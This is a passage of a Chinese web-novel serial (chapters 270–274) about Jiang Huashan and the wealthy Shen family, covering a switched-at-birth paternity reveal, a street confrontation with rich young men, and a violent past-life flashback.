情之所起,她忽然就喊了沈娇妈妈,不再是干妈,而是是妈妈,一字之差,千差万别。 沈娇已经变回了那个不可一世的娇女王,走上前拍了拍姜花衫的额头,“怎么了?我来了也不叫人,还没休息好?” 姜花衫摇头,“妈妈。” 沈娇眼里的笑意深了几分,将手里的合同递给她,“诺,你看看,要是没什么问题就签个字。” 姜花衫接过合同,打开第一页就被上面的金额吓住了。 130000000000。 亿?她也算见过大世面的,但还是被这数不清的零弄糊涂了。 “这是什么?” 沈娇风轻云淡,“萧澜兰出事那几天,萧氏资金崩盘,财政赤字,我拿了些钱给萧启补空,勉强帮萧家稳住了卖地危机。原本只算帮忙,老爷子知道后不知与萧家说了什么,萧启同意让出金山一半地界给我。我原本也没兴趣,但一想到可以给你和绥尔当嫁妆就买下了。” 姜花衫瞠目结舌,“你花了一千三百亿给我们买了块地?” 沈娇,“不是你们,是你。绥尔那块便宜点,就花了一千二百八十亿。” “……”姜花衫震惊,“妈,咱们家到底多有钱啊?” 沈娇看着好笑,“我没跟你们说过吗?算上我名下的银行股份、期货、股票、矿脉、现金,应该可以填充A国三个国库。你五叔叔的暗堂这么威风都是因为有我赞助,不然你以为他们为什么每次出场都是百架直升机。” 姜花衫默默竖起大拇指,有眼不识泰山,失敬失敬。 沈娇拍下她的手,从钻石包里拿出钻石钢笔,“赶紧签字。” 姜花衫心情复杂,一笔一划写下自己的名字。 沈娇看着落款,眼眶温热,当初姜花衫也是这么一笔一划把傅绥尔从鬼门关救回来的… * 两天后。 姜花衫站在病床边插花,这些花都是她从自己园子里剪下下来的,马上就要入冬了,如果不及时欣赏就要等来年的春天才能。 病房里很安静,消毒药水里隐隐混合着清甜的花香。 病床上的人眼睑颤动,几经挣扎慢慢睁开了眼。 “这是哪?我死了吗?” 姜花衫指尖一顿,转头看向病床。 傅绥尔呆呆看着发白的天花板,眼里的世界一点一点汇聚,等她能看清吊针的轮廓时一张脸闯进了她的视线。 傅绥尔笑了笑,“呀,没死成。” 姜花衫双手抱胸,居高临下伸出两只手,“这是几?” 傅绥尔,“二。” “看来脑子没坏。”姜花衫俯身按响服务铃,“你昏迷了一天,大家都很担心你。” 傅绥尔看着她,“对不起。” 姜花衫止住的情绪忽然崩塌,眼眶微红。 在医院楼道时,她一直在思考一个问题。 为什么沈眠枝头顶的倒计时最后只剩7个小时,消失的四个小时到底去哪了? 她想啊想啊,终于想明白了。 时间差可能出现在沈眠枝来菊园道别那会儿。 剧目之门为了阻止她挽留沈眠枝,禁锢了她的思维,她醒来的时候场景一切未变,她便理所当然以为只是一瞬间,但其实已经过去了四个小时。 如果是别人一定不会发现异常,可傅绥尔不同,她已经跳出剧目之外,对她来说,那四个小时一定是漫长且艰辛的。 姜花衫甚至都在脑子里构建出了当时的场景: 她神智失常站在门外,傅绥尔拉着她的手一遍一遍叫她的名字,尝试无效后,她转身下楼想去找张茹帮忙,可是张茹听不懂她在说什么,眼里只有厨房那锅汤。 傅绥尔跑出菊园想寻找帮助,但又怕别人发现她的秘密,犹豫片刻再次跑回绣楼,她拉着她的手,一遍一遍叫着她的名字,一直喊了四个小时。 等她回过神,傅绥尔也不敢问,唯恐触及到不该问的秘密害了她。 原本这只是她脑子里的虚影,可傅绥尔一句对不起,就印证了一切。 姜花衫摇头,轻声,“不用对不起,这不是你的错。” 傅绥尔笑了笑。 这是第一次,即便是忤逆姜花衫她也要站在最前面,因为她不想做一直被保护的那个人。 她跟沈眠枝一样,她也有自己想守护的人。 * 傅绥尔醒来的第二天,沈家接连迎来好消息。 迟迟没有表态的五州终于做出了选择,沈谦在两国局势胶灼,南湾骂声一片的劣势中反败为胜,拿下了议员长之位。 这一胜利标志着沈家制霸上层的规则还没有被打破。 国会议员交接当日,傅岭南心肌梗塞被紧急送进抢救室,周家和苏家两位老爷子备上厚礼亲自来沈园祝贺,一时间,沈园的门槛都要被踏破了。 这几日沈家一致对外,沈归灵、沈兰晞、沈清予三人表现可圈可点,沈庄都看在眼里很是满意。 要看S国的行程也要提上日程,应酬完宾客,时间还早,沈庄特意把三人叫到跟前。 “这几日你们都辛苦了,明天休息一天,都给我好好准备,后天检查你们的功课。” 三人:“……” 准备什么?这种事有什么好准备的? …… 第270章 赛前准备 十月初的清晨,已经开始转凉。 姜花衫好不容易早起,逗逗乌龟、写写生一上午的时间就这么过去了。 中午,沈庄让所有人一起去主厅吃饭,席间只看见沈眠枝,沈园三傻并未出席。 姜花衫咬着水晶肘子,四处张望,“他们人呢?” 沈眠枝小声,“听说明天要考试,兰晞哥他们都在房间温习。” 姜花衫嗯了一声,“考什么啊?还提前温习?” 沈眠枝摇头,偷偷看了沈庄一眼,“不知道,但肯定不是普通的考验,因为这次胜出的可以跟爷爷一起去S国。” 出访S国?姜花衫若有所思,她明明记得上一世没有剧情。 沈眠枝,“下午我去医院看绥尔,你去吗?” 姜花衫摇头,每次她去医院探望傅绥尔都会拉着她聊天,没完没了,医生已经给她下禁行通知,说不能打扰病人休息。 吃完午饭,姜花衫牵着小可怜在中庭晒太阳,正好溜达到竹园门口,她心念一动,沈龟灵还欠她一百个要求,择日不如撞日,上门敲诈敲诈。 “邦邦邦——” “沈龟灵!” 过了一会儿,院门打开了一条大拇指宽的缝,雷行一脸防备,“姜小姐,您有什么事儿吗?” 姜花衫提了提乌龟绳,“我找沈龟灵,你把门打开。” “砰——” 雷行二话不说直接把门关上。 “姜小姐,您还是请回吧,今天我家少爷不见客。” 这闭门羹吃的猝不及防,姜花衫一脸怔愣,回过神又邦邦邦开始敲门。 沈龟灵不会是反悔了吧?这可不行,她还有好多问题没问清楚。 “雷行,你给我开门,叫你们少爷出来说话。” “咔”—— 回应她的,是木栓插销锁死的声音。 “姜小姐,您别为难我了,少爷特意吩咐,今天没什么重要的事不要打扰他。” 姜花衫不死心,“我怎么能一样呢?我可是他的恩人。” 雷行,“少爷说了,尤其不见您。” 什么?!果然是反悔了!姜花衫立马黑脸,对着门板踢了一脚。 好你个交际花,沈谦刚坐回议员长就开始摆谱,果然是越长大越黑心。 姜花衫也不想再自讨没趣,掉头就走,刚进游廊就看见顾赫抱着一堆东西迎面走了过来。 “顾管家。” 顾赫好好地一张脸在看见姜花衫后吓的面容扭曲,二话不说直接从栏杆跳了出去,一溜烟窜回了梅园。 “……” 姜花衫被气笑了,沈清予从护手霜事件后就一直对她爱搭不理,原本她还想缓和一下,毕竟也拿了他一千万,现在看来倒是她自作多情了。 “姜小姐~” 这时,有人喊了她一声。 姜花衫停下脚步,侧身看了过去。 高止戴着一副墨镜,倚着门框朝她招手,“来啊来啊,我们园子瞧瞧~” 姜花衫,“……” * 另一边,顾赫砰的一声关门,引起了不小的动静。 沈清予双手插兜从主厅走了出来,“跑这么急做什么?后面有狗撵你?” 顾赫惊魂未定拍着胸脯,“不是狗,是姜小姐。少爷,我怕姜小姐看见我手上的东西误会,所以……” 沈清予神情一愣,撩着眼皮摸了摸耳朵。 昨晚从沁园回来后他特意交代顾赫去弄点‘复习’资料,没想到这么巧被撞上了。 沈清予有些不自然,“都拿了些什么?我看看。” 顾赫捧着一摞资料上前,神秘兮兮,“少爷放心,我做过功课了,这些都是现在的硬通货,据说有钱都买不到。” “是吗?”沈清予将信将疑,随意拿起一本。 哆啦A梦大战动感超人,沈清予眼梢挑了挑。 顾赫赶紧解释,“这都是障眼法,反差!里面才是精髓。” 沈清予随意翻开一眼,眼皮跳了跳。 顾赫一脸期待,“怎么样?少爷,这可都是精华中……” 话没说完,脸被哆啦A梦砸了个正着,书本掀翻在地,随便露出的一页都是需要打码才能播的程度。 沈清予一把揪住顾赫的衣襟,漫不经心顶了顶腮帮子,“顾赫,说,你到底是谁派来的卧底?老实交代我还能留你个全尸。” 顾赫脸色微变,抱拳求饶,“少爷,我对您忠心耿耿,天地可鉴啊!这些资源我可是找了好久,死乞白赖求来的。” 见沈清予面色不善,顾赫幡然醒悟,“少爷,是不是不合胃口啊?喜欢什么样的您说,我让他们照着你喜欢的演,保证……” “闭嘴!”沈清予推开顾赫,“这件事你不用管了。” 忽然想到什么,少年眼眸微眯,“这些东西那小疯子看见没?” 顾赫摇头,“没有!绝对没有。” 沈清予扯着嘴角笑了笑,轻轻拍了拍顾赫的肩膀,“你记住,这些东西要是泄漏出去,我就把你打包送回顾家。” 顾赫点头如捣蒜,“知道了,少爷。” 沈清予一脚踢开哆啦A梦,转身回厅。 顾赫看着草地上散落的图册,心中很是不解,到底是哪里出了问题? 这时,口袋的手机忽然发出震动,顾赫拿出看了一眼,立马调整心情。 “老夫人。” 电话里那头不知说了什么,顾赫转头躲进角落,“老夫人,少爷生气了,说我拿图画糊弄他,您要是不想想办法少爷就要把我送回顾家了。” 一分钟后,沈清予的电话响了。 此时他正在躺在沙发上看听《大悲咒》,原本不想搭理,但见是自家老太太立马关了音响,拿起手机。 “外婆。” “清予啊,你好久没来看外婆了,今晚过来陪婆婆吃饭吧?” 沈清予眸光微动,抬步走到阳台,此刻顾赫正蹲在前院草坪捡废料。 他想了想,点头应下,“好。晚点过去。” …… 第271章 好好爱自己 莲叶稀落,金色艳阳撒在枯萎的残叶上平添了几分秋意浓浓。 沈兰晞正在书房练书法,一笔而下,笔饱墨酣。 “嘶,怎么这都不上套?怕不是眼神有什么问题吧?” 外头,高止骂骂咧咧,顺手捡起一块石子打水漂,薄薄的石片一节一节跳过水面啪的一声击中了书房的落地窗,透明玻璃又咔的一声从中间碎开,炸开了一朵巨大的蜘蛛网。 人怎么可以闯这么大的祸? 高止嘴角讪讪,赶紧跑进阳台,“少爷,没吓着吧?” 沈兰晞重新沾墨,眼眸都没抬一下,“怎么了?” 高止指着菊园的方向,“还不是那不知抬举的姜小姐。” 沈兰晞笔势一顿,抬眸往池塘看去,“她怎么了?” 高止,“我刚刚扒在门上看见了,她先是被雷行拒之门外,然后又被顾赫无视,我想着挖墙角的机会不是来了吗?便打开门邀请她来咱们兰园玩,谁知她还摆起谱来了。” “挖墙角?” “是啊。”高止取下墨镜,“隔壁两位少爷都不待见姜小姐了,这个时候咱们多走动走动,关系不就近了?” 沈兰晞搁笔,目光淡淡,“谁让你挖的?” 高止摆摆手,深藏功与名,“没谁。反正我肯定不是因为少爷您,也不是干着急您有嘴不会说,我就是闲的无事。” 沈兰晞沉默,低头看着桌上的字。 -【静】 还差一笔才算落成,但笔势已断,再补救也连不上了。 高止见沈兰晞不说话,勾着脖子打量,“争?青、争?什么意思?” 沈兰晞眸光微动,重新执笔沾墨,“高止,损坏的玻璃从你这个月的工资里扣,你有意见吗?” “没意见。” 高止答的飞快,心里暗骂:铁石心肠的少爷,以后别想我为你肝脑涂地。 * 姜花衫回到菊园时,浑身还在打冷战,咦~~~高止脑子有泡吧?恶心到她了。 以前闲来无事,姜花衫要么梳理线索要么睡觉,这次她选择一边睡觉一边思考。 刚爬上床,手机就响了,是个陌生电话,姜花衫直接掐断,紧接着一条信息又跳了出来。 【名人不放暗屁:姜花衫!接电话!!!】 姜花衫正打算关机,苏妙的电话又打进来了,犹豫片刻,她认命按下了通话键。 不等她开口,苏妙先声夺人,“姜花衫,你在哪?我刚刚收到医院的通知,结果已经出来了,你跟我一起去拿报告。” 姜花衫扶额,“为了你好,你还是自己去吧。” 苏妙,“不行!我留的是你的名字,我自己去岂不是穿帮了?再说,你必须跟我一起去。我琢磨了很久,总觉得那个女人有些古怪。萧澜兰就是前车之鉴,我绝不能让人抓到把柄,所以你必须给我当人证。” 姜花衫。“你都琢磨了些什么东西?听话,以后少动脑子。” 苏妙气结,这人嘴巴怎么比她还毒?好在她早有准备,她清了清嗓子,“我给你钱,你要多少开个价。” “……” * 一个小时后。 姜花衫认命走下出租车,苏妙戴着一顶鸭舌帽在鲸和在医院门口鬼鬼祟祟张望,偷感极重。 “你这是什么打扮?” 不仅戴了帽子还戴了墨镜,完全是此地无银三百两的智商。 “你怎么才来?”苏妙拽着她往里面走,“你没有让你家司机送吧?坐捷运来的?” 姜花衫,“出租车,车费记得报销一下。” 苏妙白了她一眼,“行了,我现在有钱。” 姜花衫小声咕哝,“你等会就没钱了。” “你说什么?” “没什么?去哪领报告啊?” 苏妙拉着她走进门诊大厅,“跟我来就知道了。” 两人乘坐电梯直达DNA亲子鉴定科。 “你好,取报告。” 科室的服务人员给了一张登记表,苏妙接过转手递给姜花衫。 “您好,请核对一下信息。” 姜花衫扫了一眼,默默签上自己的名字,很快服务人员就把提前准备好的报告拿了出来。 苏妙佯装镇定,“你看吧,反正结果我已经知道了。” 姜花衫有些犹豫,苏妙不耐烦撕开文件袋,取出里面的资料,“看清楚,看你以后……” 她忽然顿住,所有的声音都卡在喉间。 累积亲子关系概率(RCP)为:99.999999999% 这一瞬间,深渊吞噬了她所有的信仰。 苏妙手指微微颤抖,转头看向姜花衫,“这是什么意思?是不是弄错了?” 姜花衫沉默。 苏妙仿佛明白了什么,将手里的报告甩进姜花衫怀里,哭着跑了出去。 姜花衫轻叹了一声,把文件收拾好转头追了上去。 苏妙从医院跑出来后一直在哭,她像只没有归属感的小兽在马路上横冲直撞。姜花衫一直跟在她身后,眼看着车辆要撞过来才会默默拉她一把。 她们从西街串到东街,从繁华大街走到无人小巷,整整两个小时一步都没有停。 眼看天要黑下来了,后面巷子越来越深,姜花衫直接把人拎住,“别往里面走了,前面有个便利店,要哭去那边哭。” 苏妙吸了吸鼻子,盯着姜花衫看了一会儿,转身朝便利店,继续嚎啕大哭。 姜花衫仔细观察过了,这个路段虽然不繁华,但好在路灯监控都有,便利店前商客进进出出也有几分人气,不过为了安全起见,她还是给沈娇发了定位和店铺的招牌。 苏妙哭累了,蹲坐在店铺的台阶前,戴着墨镜望着路灯。 姜花衫进店买了一瓶水,拧开瓶盖递给她,“诺。” 苏妙看了一眼,拍开水瓶,“我要喝酒。” 姜花衫皱眉,揭开瓶盖喝了一口水,“行,等着。” 她转头进店买了一瓶二锅头,“喝吧。” 苏妙也不带怕,咬开瓶嘴,咕咚咕咚大口灌了进去。 姜花衫俯身拍了拍台阶的灰,看着天边的落日,“怎么样,现在清醒了?” “咯~”苏妙打了个酒嗝,摘下墨镜。 哭了一下午,她眼睛已经肿的不像话了,眼神迷离,但瞳孔却格外透亮。 “我这一路想了很多,爷爷,哥哥,爸爸,妈妈……”她边说边灌酒,眼里都是流不完的泪,“但,我最难受的是…这是一场精心的骗局。” 苏妙并不傻,那个女人所有的行为都表明她至始至终是知情的,相比起身份的落差,她更在意的是自己竟然是被刻意掉包的。 这让她以后怎么去面对苏家的爷爷、哥哥、爸爸和妈妈? 酒醉心明,她十几年的人生从来没有一刻像现在真的清醒。 苏妙嗷呜了一声,一把抱着姜花衫,嚎啕大哭,“怎么办?这个世界没有人爱我了。” 姜花衫撇过头,摸了摸她的头,“那你更要好好爱自己。” …… 第272章 新人物,乔金锦 便利店前的路灯一闪一闪,远处的红霞慢慢落到了山的另一边。 苏妙哭的忘乎所以,惹得每个路过的人都会投来异样的目光。原本只是好奇,但目光一旦触及姜花衫,都会不约而同流露出惊艳之色,有些甚至边走边看,直接撞上了电线杆。 姜花衫面无表情,顺手摘下苏妙的鸭舌帽戴上,考虑到天生丽质难自弃,只能又捡起地上的墨镜。 “呜呜呜,我的命怎么这么苦啊!好苦啊!” 姜花衫被她吼的耳膜发嗡,不冷不淡说道,“你还苦?你平白享了十六年的福有什么苦的?” 苏妙听不了真话,抓着姜花衫的肩膀疯狂摇晃,“你还是不是人啊?这个时候说这种话?讨厌鬼!” “啊啊啊啊!!!!没有人爱我!没有人!!!啊啊啊啊!!” 姜花衫,“……” 她癫是人设,这人纯癫。 “呜呼——” 就在这时,尖锐刺耳的音浪从风中穿刺而来。 便利店的老板赶紧跑出来收桌椅,刚把前坪整理出来,一辆接一辆的限量款豪车从眼前呼啸而过。夜色魅影再加上甚嚣尘上的气浪尾音,简直把张扬跋扈踩在了脚底。 周围的顾客已经见怪不怪,不阴不阳调侃,“这就是同人不同命啊,有些人生来就是享富贵的。” 正说着,一辆阿斯顿马丁忽然停在店铺前,里面走下一个样貌年轻的男人,“老板,有啤酒吗?” “有有有。”老板殷勤上前,“您要多少啊?” 男人打开后座,“装满。” “诶,好。”老板连忙招呼店里的伙计帮忙。 跑车的后座空间小根本放不了几箱,男人见状立马给同伴打电话,“你们再开几台车过来,我这不够放。” 电话那边不知说了什么,男人笑骂,“滚,那瓶酒我可藏着,别又让你们这帮孙子当礼炮给我放了。少贫,赶紧的。” 周围的顾客见车门打开,小心翼翼探头打量,有些甚至已经拿出了手机拍照。男人习以为常,慢悠悠点了一根烟。 “谁让你抽烟的?公共场合你有没有公德心,熏到我了你知不知道?!” 姜花衫一愣,还没反应过来,苏妙凶神恶煞冲了出去,一巴掌打掉了男人手里的烟。 乔金锦也愣住了,他长这么大,这还是第一次有人敢这么跟他动手。 姜花衫扫了男人一眼,犹豫了一秒,捂着脸准备跑。 “……”乔金锦一手提溜着苏妙的后衣襟,眼神斜睨看向姜花衫,“往哪走?她不是你朋友吗?” 苏妙见姜花衫不管她,使出浑身解数开始挣扎,“你放开我,你知道我爷爷是谁吗?你要不放开我,你今天就死定了!” 敢在鲸港地界跟他摆谱?乔金锦挑眉,对着苏妙的脑门拍了拍,“你爷爷是谁?说来听听。” 苏妙昂首挺胸,“我爷爷是……” 忽然,她似乎又想到了什么伤心事,哇的放声大哭,“我没有爷爷,呜呜呜,我以后再也没有爷爷了!” 姜花衫,“……” 乔金锦嗤笑了一声,“那你今天死定了。” 苏妙立马止住哭声,“我有哥哥,我哥哥可厉害了,你给我等着,我现在就打电话,我要让他打的你跪地求饶。” 乔金锦,“你哥?” 苏妙大幅摇摆,双手像螺旋桨似的360的旋转,“没错,你敢不敢让我打电话?” “行。原本教训你一个就算了,你非得上赶子灭门,成全你。”说罢,松了苏妙的衣襟,“打。” 苏妙吸了吸鼻子,做了一个掏口袋的假动作。 “快跑。”她好像一下就清醒了,跑的时候还不忘拽上姜花衫。 乔金锦眉心跳了跳,这酒癫子把他当猴耍? 两人还没跑两步,轮胎摩擦着地面发出刺耳的胎噪声,一辆红色的法拉利从夜色中呼啸而过,横空拦路。 两个穿扮得花里胡哨的男人从车里走了下来,“乔少爷,这是玩得哪出啊?” 乔金锦冷笑了一声,撩着眼皮慢慢走向苏妙,“胆子挺大,耍我?” 苏妙泪眼婆娑,干嚎,“我忽然想起来,我也没有哥哥了,没有人爱我了!没有了!我哥哥也没有了!” 乔金锦,“……” “乔少,这丑丫头是想让你做她情哥哥!哈哈哈。”两个看热闹的顿时捧腹大笑, “呸!”苏妙一秒止哭,“他这癞蛤蟆也配?我喜欢的是阿灵哥哥那样的。”说完又打开了伤心按钮,“可是阿灵哥哥也不喜欢我,我给他发消息他都从来不回。啊啊啊!我的命苦啊!” 乔金锦扣了扣耳朵,“你们两个别愣着,把这疯鹅拖下去醒酒。” 两个立马止住笑,上前抓人。 苏妙抱着姜花衫的胳膊,捂着嘴小声蛐蛐,“他管我叫鹅,他承认自己是癞蛤蟆了。” 乔金锦气笑了,冲另外两人发火,“磨蹭什么?” 两人赶紧上前,一个拉住姜花衫,一个拖拽苏妙。 姜花衫一脚踹开其中一个男生,神情冷淡看向乔金锦,“你想怎么醒酒?把她拖上车绑在天窗上,飙车飙到她吐?还是把她绑在木桩上,让一堆疯子开车吓唬她?” 乔金锦低头正准备抽烟,闻言,微微一愣,抬眸看向姜花衫。 被踹开的男生动了气,正要动手,姜花衫抬手指着他,目光却看向乔金锦,“我劝你最好不要乱动,毕竟苏老就这一个孙女,苏灼也就一个妹妹。” 男人的手都举起来的,听了这话身体瞬间僵住。 恰是这时,七八台豪车从原路绕了回来,引擎轰鸣沿着路边摆了一列。最前排的兰博基尼切换远光灯,灯光骤然,店铺前所有人都不适眯了眯眼睛。 周宴珩从驾驶位走了下来,目光扫了一圈,笑着走上前,“让你买个酒怎么在这欺负小朋友?” …… 第273章 鲸港嫡公主 闻言,乔金锦扬眉,打量了姜花衫一眼,“认识?” 周宴珩身后还跟了一群男男女女,其中不少是育才的同窗。 他上前拍了拍乔金锦的肩膀,“都是一个圈子的,别吓着人家了。” 乔金锦知道周宴珩的性子,他从不多管闲事,能让他开口这里面肯定有个人不简单,他若有所思,目光在姜花衫和苏妙之间游离了一圈。 姜花衫转身拉过苏妙,眼神不善,“松手。” 男生也不敢得罪她,讪讪松开苏妙,退回一边。 苏妙完全沉醉在自己的意识里,回头一见姜花衫又开始嚎啕大哭,“怎么办啊!我完了!彻底完了,我的命苦啊,真的好苦啊。” “闭嘴。”姜花衫捂住她的嘴,这里没有一个善茬,这傻子要不小心泄漏了什么,那才是真的苦。 关鹤笑眯眯走上前,“哟,这小苏妙怎么醉成这样了?大晚上的,你们两个不回家怎么跑这来喝酒了?失恋了?” 姜花衫赏他一个白眼,转头看见傅潇潇捡起了地上的报告。 糟糕,光顾着救人,报告忘记拿了。 她来不及多想,顺手把苏妙丢给乔金锦,冲出人群杀到台阶下,“谁让你动别人的东西的?”说着,直接动手从傅潇潇手里抢过报告。 傅潇潇想阻止已经来不及了,一脸狐疑看着姜花衫。 她刚刚隐约看见医院两个字,姜花衫这么紧张,里面肯定有猫腻。 念此,傅潇潇故意扬眉挑衅,“你这么紧张做什么?该不会里面有什么不可告人的秘密吧?” 姜花衫根本没把她放在眼里,转身从乔金锦手里接过苏妙。 傅潇潇震怒,气急败坏,“我刚刚看见了,是医院的流产手术单。” 姜花衫脚步一顿,回头看向傅潇潇。 围观的人纷纷变了脸色,看向苏妙和姜花衫的眼神都微妙了起来。 周宴珩眉头微蹙,眸光暗了暗。 傅潇潇丝毫没有察觉,洋洋得意,“我可没有胡说,要不然你当着大家的面拿出来,证明是我看错了。” “好,我可以证明。”姜花衫捞起袖子,随手把苏妙甩给了乔金锦。 乔金锦,“……” 不等众人反应,她拿着报告对着傅潇潇的脸砸了过去。 这还不算完,傅潇潇捂着脸惨叫,姜花衫走上前捡起报告,卷成书筒,一把抓着傅潇潇的头发把人拖进角落。 周宴珩抬头看了看路灯方向,这个时候竟然还记得避开监控。 没一会儿,角落里响起凄厉的惨叫声。 “姜花衫你疯了!你给我等着,我不会放……” “啊啊!别打了,阿珩哥救我,救我!” 关鹤目瞪口呆,怔愣的几秒转头看向周宴珩,“不管管吗?” 周宴珩思忖片刻,回头看了一眼,几个女生会意,立马从人群里走了出来。 可还没等她们出手,傅潇潇脸上挂着血痕,哭着从角落爬了出来。 女生们愣了愣,赶紧上前搀扶。 姜花衫慢步跟在后面,出来时手里还拿着手机,不等众人反应咔嚓一声,拍了张全家福。 傅潇潇没想到众目睽睽之下,姜花衫说动手就动手,仗着有周宴珩相护,她目光死死瞪着姜花衫,“你等着,我绝对不会善罢甘休的。” 姜花衫笑了笑,摘下墨镜露出颠倒众生的桃花眼,“怎么,你是打算重操旧业又要给我造黄谣了吗?” 傅潇潇脸色微变,她私下做的那些事家里不是都已经帮她清理干净了,姜花衫是怎么知道的? 姜花衫步步逼近,“看来三年前的教训还是太轻了,傅潇潇,我觉得我很有必要再警告你一次,我不是萧澜兰,你惹到我算是踢到铁板了。” “啊!”傅潇潇脑子忽然想起三年前浑身是血的场景,捂着脸尖叫一声躲到周宴珩身后。 姜花衫扫了周宴珩一眼,翻了个白眼戴上墨镜。 周宴珩,“……” 乔金锦抬眸,不动声色看了周宴珩一眼。 姜花衫伸手揽过苏妙,不耐拍了拍她的脸颊,“还能不能走?不能走就把你卖给这群鬼火少年。” “……” 一句话把所有人都得罪了。 人群里有人没忍住,仗着有周宴珩在挺身怒呛,“姜花衫,你别太过分,我们是让着你,不是怕了你。” 话音刚落,那人的电话就响了。 这一响,仿佛触发了某个开关的连锁反应,电话一个接着一个响起,纷杂的铃声在人群里炸开了锅。 “爸……” “爷爷……” “叔父……” “哥……” 一时间,‘鬼火少年组’所有人都忙着接电话。 乔金锦怔然,还没反应过来,自己的手机也响了,看到来电的瞬间他人都麻了。 竟然是他远在北岸的父亲。 他刚接通,周宴珩的电话也响了。 周宴珩看了一眼,背过身接听,“爷爷……” “阿珩,你在哪?” 周宴珩,“京郊。” 周国潮刚被沈庄劈头盖脸警告了一顿,心情很不畅快,“沈家老头的眼睛珠子也在?” “嗯。” 周国潮按了按太阳穴,“阿珩,昨天跟你说的话忘记了?” 沈家能在风声鹤唳的时局再次推沈谦上位,足以说明沈家底蕴还在,为了周家百年大计,跟沈家的关系宜解不宜结。 昨天沈家庆功宴,周宴珩还特意向萧启敬了杯赔罪酒。 周宴珩低声,“爷爷,我知道了。” 另一边,乔金锦还在挨骂。 “你是想老子死吗?北岸军需历年来都是沈家赞助给国库的,沈老要是撤资,北岸十万战士拿什么守疆土?土炮手榴弹吗?你小子有本事啊,刚回去就害老子在国防会被连线骂了五分钟。” “老子的上峰你都敢得罪,是想早点逼死老子你好继承家业吗?” 乔金锦脸色不善挂了电话,目光迟疑看向姜花衫,这TM谁啊? 姜花衫抬着下巴,“怎么样?现在谁还觉得是让着我的?” 气氛刹时尴尬到了极点。 周宴珩转身拉开车门,做了个请的动作,“上车吧,送你回家。” 姜花衫嫌弃撇过头,“谁敢上你黑车,被卖了都不知道。” 周宴珩靠着车门,笑了笑,“你现在是鲸港嫡公主,有什么不敢的?” …… 第274章 与周宴珩的剧情 周宴珩什么时候这么哄过人?关鹤不明所以看了他一眼。 姜花衫正要拒绝,苏妙忽地挣开她的手,手脚并用爬进了周宴珩的黑车。 她自顾自关上车门,趴在车窗朝姜花衫挥手,“就让我享受这最后一次豪华之旅吧!再见~我的朋友。” 姜花衫,“……” 这人的酒品怎么能癫成这样? “喂!那水,还愣着干嘛,还…不快点来开车。”苏妙已经神志不清,说话也含糊不清。 周宴珩睨了她一眼,随手把车钥匙丢给关鹤,“你送她回去。” “得嘞。” 关鹤正准备上车,脖子忽然一紧。 姜花衫拽着他的连衫帽,“你人品不行,你不能送。” 关鹤皮笑肉不笑,“我怎么就人品不行?” 姜花衫懒得掰扯,转头看向乔金锦,“你送。我刚把你欺负苏妙的照片发家族群里了,她要有什么三长两短,苏家老爷子一定会找你算账,” 乔金锦被气笑了,点点头,“行!谁让我倒霉呢?”说罢从关鹤手里拿过钥匙。 苏妙见状,大吵大闹,“我不要这个癞蛤蟆,我要阿灵哥哥。” 乔金锦嗤笑了一声,拍着她的脑门把人推进了车里,“坐好,鬼吼鬼叫什么?反正是最后一程谁送不是一样?” 苏妙不服,蹭得一下爬起,脑袋刚要伸出窗外,乔金锦立马按下关窗键,车窗贴着她的脸缓缓上升,从外面看五官都变形了。 姜花衫,“……” “走了。”乔金锦朝周宴珩摆摆手,拉开驾驶门,油门轰鸣,黑身如夜魅暗影消失在月色里。 周宴珩朝关鹤抬了抬下巴,关鹤一脸无奈,抛出自己的车钥匙。周宴珩接过钥匙,拉开大黄蜂的副驾驶,“上车吧。” 姜花衫隔着厚厚的墨镜片斜睨他。 周宴珩抬眉,“怕什么?” 姜花衫扯了扯嘴角,走了这么远都能碰上周宴珩,看来有些剧情是避不开的。 念此,她直接忽视周宴珩,拉开后座门上了车。周宴珩眼里的笑意淡了几分,绕过车头上车。 关鹤以为副驾是给他留的,正要拉门,周宴珩一脚油门,车身如离弦之箭飞了出去。 “噗~咳咳……不是…”关鹤难以置信看着渐行渐远的车影。 傅潇潇也没想到周宴珩竟然丢下她就走了,气急败坏抓着关鹤的胳膊,“阿鹤哥,阿珩哥怎么说走就走?我还在这,他怎么能送姜花衫了?” 关鹤抽出胳膊,脸上表情一言难尽,“不是!别的不说,就看脸,姜花衫还是很值得送的。” “你……”傅潇潇脸色阴沉,推了关鹤一把,“阿珩哥才不像你这么肤浅。” 呵!那狗东西本来就肤浅,他睡过的哪个不是长的跟天仙一样? 关鹤懒得搭理,拍了拍肩膀,“行了,你伤的也不轻,今晚别跟着来了,我让人先送你回去。” 傅潇潇不死心,“我不走。我要在这等阿珩哥回来。” 关鹤有些不耐烦,“不行,你必须回去,伤成这样你家里总会要个说法,老子今晚要泡妞,也没空招呼你。”说罢招来个小弟,“把人送回去,要是傅家问起她身上的伤,就说是沈家打的。” “关鹤!” 傅潇潇不满就这么被打发走,想上前理论却被男生拖了回去?挣扎无果,盛怒之下她反手甩了男生一个耳光,“谁让你碰我的?信不信我让阿珩哥弄死你!” 男生脸色阴翳,但碍于傅潇潇的身份只能忍气吞声。 * 车里。 气氛过于安静,狭小的里弥漫着馨香幽欲的香水味。 姜花衫单手托腮看着窗外,夜色朦胧,一下就把她带到了前世的某个夜晚。 …… -【上一世】 姜花衫被傅潇潇用计骗去艺术大楼拿东西,那时她并不知道大楼里的秘密,刚出电梯就被两个神智不清的男生抓进了文娱教室,那两人见色起意,想对她图谋不轨。 她奋力挣扎踹翻了其中一个男生,在极大的求存意识的驱动下,她搬起课椅对着倒地的男生砸了过去。 她砸的很狠,地面很快就溢出了一摊血迹。 另一个男生被吓傻了,惨叫着跑出教室。 但姜花衫什么都听不见,脑子里只有一个念头,所有欺负她的人都得死,她越砸越狠,地上的血渍也越渗越多。 “可以了。” 忽然,有人握住了她的手腕。 姜花衫猛然惊醒,回过神时,周宴珩就站在她面前,漆黑的眸子带着几分揶揄,“再打他就死了。” 她看着他,眼神偏执,“我就想他死。” 周宴珩挑眉,拿过她手中的椅子对着男生的头狠狠砸了过去。 “啊——啊!” 男生惨叫了一声,浑身抽搐,腰身的弧度像极了被煮熟的红虾。 周宴珩走近一步,朝她笑了笑,“那你打错地方了,应该像我这样……” * 姜花衫按下车窗,抬眸望着悬在半空的弯月。 现在回想一下,上一世的周宴珩真是像极了开启她恶毒属性的人生导师。 …… -【上一世】 艺术楼事件后没多久,周宴珩开始频繁出现在姜花衫的视线里。 也不知道他是哪根筋不对,忽然开始回应傅潇潇。 